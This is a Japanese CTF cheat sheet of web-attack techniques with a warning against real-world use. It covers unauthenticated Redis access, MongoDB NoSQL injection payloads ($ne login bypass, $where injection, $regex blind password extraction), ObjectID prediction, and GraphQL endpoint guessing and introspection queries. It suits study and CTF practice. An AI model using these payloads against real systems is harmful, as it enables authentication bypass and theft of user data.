この記事はCTFのWebセキュリティ Advent Calendar 2021の6日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
Redis
redis-server --bind 0.0.0.0
のように0.0.0.0としてある場合はどこからでもアクセス可能でいかにも危ない- CTFtime.org / CSAW CTF Qualification Round 2020 / WebRTC / Writeup
- パスワードもついてないのでSSRFっぽさがある
redis-cli -h $ip
で接続可能keys *
で全部のキーを表示get [key]
キーから取得incr [key]
指定のキー名の数値インクリメント。もしキーが無ければ1生成config get *
よくわからんけど設定全部持ってくる- これで設定が見られたら任意ファイルアップロードができるかも
- https://medium.com/@Victor.Z.Zhu/redis-unauthorized-access-vulnerability-simulation-victor-zhu-ac7a71b2e419 にあるようなキーをアップロードしてログインするやり方を試す
- これはVulnBox向けか
- RedisへSSRFして任意のコマンド実行
MongoDB
?id=admin&pw=pass
にアクセスすると、クエリ文が{"id":"admin", "pw": "pass"}
となるケースを考える?id=admin&pw[$ne]=pass
にアクセスすると、クエリ文が{"id":"admin", "pw": {"$ne": "pass"}}
となり、否定なのでパスワードが違っていても大丈夫
- whereを使う
- GETパラメタをそのまま検索に使うようなやつなら、whereが使えるかもしれない
- 例えば、
/api/posts?$where=function(){return this.content.includes('flag')}
みたいにすると、contentにflagが含まれるものを取得可能。 - 二分探索っぽく不等式を条件とすれば、Blind SQL Injectionでも使える
- ObjectID Prediction
- ObjectIDとは、データが追加されたときに列に勝手に追加される識別子
- MongoDBのObjectIDはユニーク性は担保しているが、予測可能であるため、不用意にIDとして使用してはいけない。HR Agency
- 以下ツールでハック可能
- andresriancho/mongo-objectid-predict: Predict Mongo ObjectIds
- ちゃんとIDOR対策とかしてないと他ユーザーのIDが推測されて、情報が抜かれるかもしれない。
- 類題
SSJI: Server-Side Javascript Injection
- サーバ側でJSが動いていることを利用して、そのJSエンジンを使って色々攻撃する手法。
- MongoDBではクエリ毎にサンドボックスを作っていてリセットサイクルが数秒なので、コード書き換えなどをする場合は数秒で事を済ませる必要がある(要出典)
- 関数をオーバーライドする
Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}
をtrueにしたいとき。Math.floor()
の定義を他の部分で上書きして、固定値を返すようにして突破する。
- whereの関数を入れこむのもこっちの分類かも
Blind NoSQL Injection
$regex
を使う- 文字種を特定する
- バイナリサーチできないので、文字種でまずは検索していくのがいい
?id=admin&pw[$regex]=a
- 先頭から一文字ずつ特定していく
?id=admin&pw[$regex]=^abc
とすると、{"id":"admin", "pw": {"$regex": "^abc"}}
となり、pwを正規表現で取ってこれる- これをlike文のように使って抜き出す
- Cyber Apocalypse CTF 2021 Writeup | y011d4.log
{"password[$regex]": "CHTB{.*"}
を利用する
- 文字種を特定する
- where構文内部の場合
obj.pw[0]=='a';
こういう文が入れ込めないか考える- これが入れ込めれば、特定の文字が何であるかが分かるため、like文の要領で後は頑張る
GraphQL
- Introduction to GraphQL | GraphQL
- 学習に使えるサイト
- HowToHunt/GraphQL.md at master · KathanP19/HowToHunt
- 攻撃の流れ
細かい話題
- GraphQLのエンドポイントをエスパーして探し出す
/graphql
/graphqlBatch
/graphql.php
/graphiql
/graphql/console/
/graphql.php?debug=1
- 難読化jsが沢山呼ばれているときに、
graph
あたりで検索するとgraphqlのエンドポイントが見つかったりする
- GraphQLはPOSTでやってるのを見ることが多いが、GETでも受け取れるかも
- POST
{"query": "GraphQL文", "variables": "変数"}
- GET
/graphql?query=HTTP-encodedのGraphQL文&variables=HTTP-encodedの変数
- POST
- Relay Connectionという仕様がある
ペイロード
{ __schema { types { name } } }
でテーブルっぽいのが出てくる{ __type(name: \"User\") { name fields { name type { name kind }}}}
でUser型の情報{__type(name: \"Access\"){name, kind, fields{name, description, type{name, kind, description}}}}
でAccess型についてより詳しく情報が得られるっぽい
- 使う構造体を調査する
{ __schema { types { name fields { name type { name kind } } } } }
- クエリを確認して使う
-
query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
を実行する - 得られた結果をここでCHANGE SCHEMAでINTROSPECTIONにつっこむ
- queryで引数があれば、SQLiとかディレクトリトラバーサルとか試してみよう
-
- mutationを確認して使う
-
{ __schema { mutationType { fields { name type { name kind } } } } }
で一覧と戻り値が分かる -
query { __schema { types { name,fields { name, args { name,description,type { name, kind, ofType { name, kind } } } } } } }
の"name": "Mutation"
のfieldsを見れば引数が分かる - あとは
mutation { authenticateUser(username: \"congon4tor\", password: \"n8bboB!3%vDwiASVgKhv\") { token } }
みたいに使う
-
- 認証が必要な場合がある
- 何らかの手段で認証トークンを取得
- Authorizationヘッダーをつけて
Authorization: [token]
みたいにして認証が必要なクエリを実行する